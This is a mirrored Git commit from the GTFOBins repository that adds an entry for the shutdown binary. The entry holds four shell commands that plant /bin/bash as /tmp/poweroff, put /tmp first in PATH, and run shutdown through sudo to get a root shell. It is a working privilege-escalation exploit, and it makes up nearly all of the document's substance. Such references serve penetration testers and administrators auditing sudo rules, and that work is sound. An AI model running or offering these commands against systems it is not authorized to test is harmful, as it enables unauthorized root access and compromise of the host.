mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create shutdown.md
参考 : https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-shutdown-poweroff-privilege-escalation/
This commit is contained in:
parent
1d2353ad30
commit
4d9b29f982
10
_gtfobins/shutdown.md
Normal file
10
_gtfobins/shutdown.md
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- description: This can help us get the root user Shell
|
||||||
|
- code: |
|
||||||
|
echo /bin/bash > /tmp/poweroff
|
||||||
|
chmod +x /tmp/poweroff
|
||||||
|
export PATH=/tmp:$PATH
|
||||||
|
sudo -u root /usr/sbin/shutdown
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user